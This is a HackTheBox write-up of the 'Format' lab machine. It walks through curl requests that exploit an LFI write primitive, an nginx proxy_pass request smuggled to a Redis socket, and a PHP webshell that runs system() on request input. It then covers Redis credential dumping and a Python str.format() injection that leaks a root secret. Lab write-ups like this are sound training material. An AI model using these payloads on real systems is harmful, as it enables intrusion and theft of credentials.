HTB: Format Writeup

Format - HackTheBox Writeup

Machine Information

AttributeDetails
NameFormat
OSLinux
DifficultyMedium
PointsN/A
Release DateN/A
IP Address10.10.11.X
Authord3vn0mi

Machine Rating

⭐⭐⭐☆☆ (3/5)

Difficulty Assessment:

  • Enumeration: ⭐⭐⭐⭐☆
  • Real-world: ⭐⭐⭐⭐⭐
  • CVE: ⭐☆☆☆☆
  • CTF-like: ⭐⭐⭐☆☆

Summary

Format is a Medium Linux box built around a custom “Microblog” application spread across two virtual hosts (app.microblog.htb and microblog.htb, the latter hosting a Gitea source repository). Source review of the blog editor uncovers an unsanitized file-path parameter that grants arbitrary file read/write, which doubles as intel-gathering (reading /etc/passwd and the nginx config) and as a write primitive. The nginx config’s proxy_pass block turns out to be exploitable against a Redis Unix socket, letting an unprivileged user flip their own account to “Pro” status. Pro status unlocks an executable, unrestricted uploads directory — the missing piece needed to drop a PHP webshell and get code execution as www-data. From there, credentials pulled straight out of Redis provide SSH access as cooper, and a sudo-permitted Python license-management script turns out to be vulnerable to str.format() injection, leaking a root-equivalent secret.

TL;DR: LFI in blog editor (id param) → nginx proxy_pass Unix-socket abuse against Redis → self-promote to Pro → PHP webshell via unrestricted /uploads → RCE as www-data → Redis-stored password → SSH as cooper → Python str.format() injection in sudo-permitted /usr/bin/license → leaked secret → root.


Reconnaissance

Port Scanning

Terminal window
# full TCP sweep with default script + version detection
nmap -sC -sV -T4 -p- 10.10.11.X

Results:

PortStateServiceNotes
22/tcpopenssh
80/tcpopenhttp (nginx)vhost → app.microblog.htb
3000/tcpopenhttp (nginx)vhost → microblog.htb, fronting a Gitea instance

Service Enumeration

app.microblog.htb is the “Microblog” application — user registration, login, and a dashboard for creating personal blogs on their own subdomains (e.g. <blogname>.microblog.htb). Registered a throwaway account (devguy) and created a blog named devtest, giving a working blog at devtest.microblog.htb and an editor at devtest.microblog.htb/edit.

microblog.htb:3000 hosts the Gitea instance containing the application’s own source code — reviewing it directly against the live app is what surfaces the vulnerability below rather than blind black-box testing.

Vulnerability Assessment

Source review of the blog editor (edit/index.php) shows it takes an id parameter from the POST body, uses it directly as a filename to write posted content into the blog’s content directory, and records it in an order.txt index that the blog’s render function later reads back via file_get_contents(). There’s no validation on id — it’s a path, and it’s attacker-controlled:

  • Arbitrary file read/write (LFI) via the unsanitized id parameter in /edit/index.php.
  • Nginx proxy_pass SSRF against a local Unix socket, reachable once the nginx config is read via the LFI.
  • Unrestricted /uploads directory provisioned for “Pro” accounts — executable, and (unlike the regular content directory) not forced to download via Content-Disposition.
  • sudo-permitted Python script (/usr/bin/license) vulnerable to Python string-formatting injection.

Initial Foothold

Exploitation Path

1. Confirm the LFI via id. Pointing the blog editor’s id parameter at /etc/passwd and rendering the blog page back confirmed both the read and write primitives, and turned up the cooper account:

Terminal window
# id is written verbatim as the filename that gets read back on render
curl -s -b "username=devguy_session" \
-d "id=/etc/passwd&txt=anything" \
http://devtest.microblog.htb/edit/index.php
curl -s http://devtest.microblog.htb/ | grep -A2 passwd
# ... cooper:x:1000:1000::/home/cooper:/bin/bash ...

2. Pivot the LFI to nginx’s own config to find out what else the webserver could be coerced into touching:

Terminal window
curl -s -d "id=/etc/nginx/sites-available/default&txt=anything" \
http://devtest.microblog.htb/edit/index.php

This turned up the vhost’s static-asset proxy block:

location ~ /static/(.*)/(.*) {
resolver 127.0.0.1;
proxy_pass http://$1.microbucket.htb/$2;
}

$1 and $2 come straight from the request path with no restriction on scheme or host — and nginx’s proxy_pass supports proxying to a Unix socket via an http://unix:<path>:<uri> target. That means a crafted request path can redirect the proxy at any local Unix socket, including Redis’s.

3. Abuse the proxy to talk to Redis over its Unix socket. The Microblog app tracks “Pro” status per user as a Redis hash field. Since HSET accepts a variable number of arguments, splicing extra tokens into the proxied request line lets an attacker set arbitrary keys on arbitrary Redis hashes — including their own account:

HSET /static/unix:/var/run/redis/redis.sock:devguy pro true / HTTP/1.1

Sent (URL-encoded) against microblog.htb — the vhost owning that proxy_pass block — this returned a 502 (Redis speaking its own wire protocol back over what nginx expected to be HTTP), but the side effect landed: devguy was now flagged as a Pro user.

4. Turn Pro status into code execution. Being Pro triggers provisionProUser(), which creates an /uploads directory for the blog — executable, and critically not subject to the forced-download Content-Disposition header that protects the regular content directory (which is what stopped a webshell from running when dropped there directly via the LFI write). Wrote a PHP webshell into it via the same LFI write primitive:

Terminal window
curl -s -d "id=/var/www/microblog/devtest/uploads/shell.php&txt=<?php system(\$_REQUEST['cmd']); ?>" \
http://devtest.microblog.htb/edit/index.php
# confirm code execution as www-data
curl -s "http://devtest.microblog.htb/uploads/shell.php?cmd=id"
# uid=33(www-data) gid=33(www-data) groups=33(www-data)

Privilege Escalation

www-data → cooper

With command execution as www-data, connected to the same Redis Unix socket the app itself uses and dumped the stored user hashes:

Terminal window
redis-cli -s /var/run/redis/redis.sock
127.0.0.1:0> hgetall cooper.dooper
1) "username"
2) "cooper.dooper"
3) "password"
4) "zooperdoopercooper"

Redis was storing the application’s user credentials in plaintext. That password worked directly for SSH:

Terminal window
ssh cooper@<target>
# password: zooperdoopercooper
cooper@format:~$ cat user.txt
<redacted>

cooper → root

sudo -l as cooper showed a single passwordless (to cooper) entry:

(root) /usr/bin/license

/usr/bin/license is a Python script that manages license keys for Microblog users pulled from Redis. It builds the plaintext key by string-formatting together static text and user-controlled Redis fields (username, first name, last name) against an object that references a secret loaded at import time:

license_key = (prefix + username + "{license.license}" + firstlast).format(license=l)

Because username/first-name/last-name are attacker-controlled Redis hash values and get fed into .format(), a format-spec payload in any of those fields is evaluated against the license object’s attribute tree — including __init__.__globals__, which exposes the module’s global secret variable. Injected the payload into the username field of a new Redis hash and provisioned a license for it:

Terminal window
redis-cli -s /var/run/redis/redis.sock
127.0.0.1:0> HSET pwn username "{license.__init__.__globals__[secret]}"
127.0.0.1:0> HSET pwn first-name first
127.0.0.1:0> HSET pwn last-name last
Terminal window
cooper@format:~$ sudo /usr/bin/license -p pwn
Plaintext license key:
------------------------------------------------------
microblogunCR4ckaBL3Pa$$w0rd{license.license}firstlast

The formatted output leaked secret directly into the plaintext key: unCR4ckaBL3Pa$$w0rd. That value doubled as the root account’s password:

Terminal window
cooper@format:~$ su root
Password: unCR4ckaBL3Pa$$w0rd
root@format:~# cat /root/root.txt
<redacted>

Attack Chain Summary

nmap → app.microblog.htb (80) + microblog.htb Gitea (3000)
→ register devguy, create blog devtest.microblog.htb
→ Gitea source review: edit/index.php `id` param unsanitized (LFI r/w)
→ read /etc/passwd (cooper) + /etc/nginx/sites-available/default
→ proxy_pass regex abused → http://unix: → Redis socket
→ HSET devguy pro true (self-promote to Pro)
→ provisionProUser() creates executable /uploads (no forced download)
→ LFI-write PHP webshell → RCE as www-data
→ Redis hgetall cooper.dooper → password zooperdoopercooper
→ SSH as cooper → user.txt
→ sudo -l: /usr/bin/license (root)
→ Redis HSET pwn username {license.__init__.__globals__[secret]}
→ sudo /usr/bin/license -p pwn → leaks secret unCR4ckaBL3Pa$$w0rd
→ su root → root.txt

Tools Used

ToolPurpose
nmapPort/service discovery
Gitea (web UI)Source code review of the Microblog app
curlCrafting LFI read/write and proxy_pass/Redis exploit requests
redis-cliEnumerating Redis hashes, injecting the format-string payload
PHP webshellRCE as www-data via the writable /uploads directory
sshLateral movement as cooper
sudo -lPrivilege escalation vector discovery

Key Learnings

Techniques Practiced

  • Identifying unsanitized file-path parameters via source code review (Gitea) rather than blind fuzzing
  • Chaining an LFI read/write primitive into config disclosure and payload delivery
  • Exploiting nginx proxy_pass regex captures to redirect requests at a Unix domain socket
  • Abusing Redis’s variable-argument HSET to write arbitrary hash fields via a smuggled command line
  • Escalating an app-level “Pro” flag into an unrestricted upload path for RCE
  • Harvesting plaintext credentials directly from a Redis datastore
  • Exploiting Python str.format() injection to reach __globals__ and leak in-process secrets

Lessons Learned

  1. Never derive a filename or file path directly from unsanitized user input — even “just tracking display order” logic becomes an arbitrary write primitive.
  2. Regex capture groups fed straight into proxy_pass are a request-smuggling and SSRF risk, especially once Unix-socket proxying is in scope.
  3. A Unix socket is not a trust boundary by itself — anything able to reach it (directly or via a misconfigured proxy) can speak its wire protocol.
  4. Storing credentials in Redis (or any datastore) in plaintext turns any read access into full account compromise.
  5. Never pass user-controlled strings into Python’s .format() — it exposes the full attribute graph of any object referenced in the format call, including module globals.

Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>

References

  • “Format” — HackTheBox Official Writeup, by dotguy (Document No D23.100.236), used here for conceptual/explanatory background on the proxy_pass-to-Redis-socket technique and the Python str.format() injection class of bug. All IPs, credentials, file paths, and command output in this writeup are from the author’s own solve.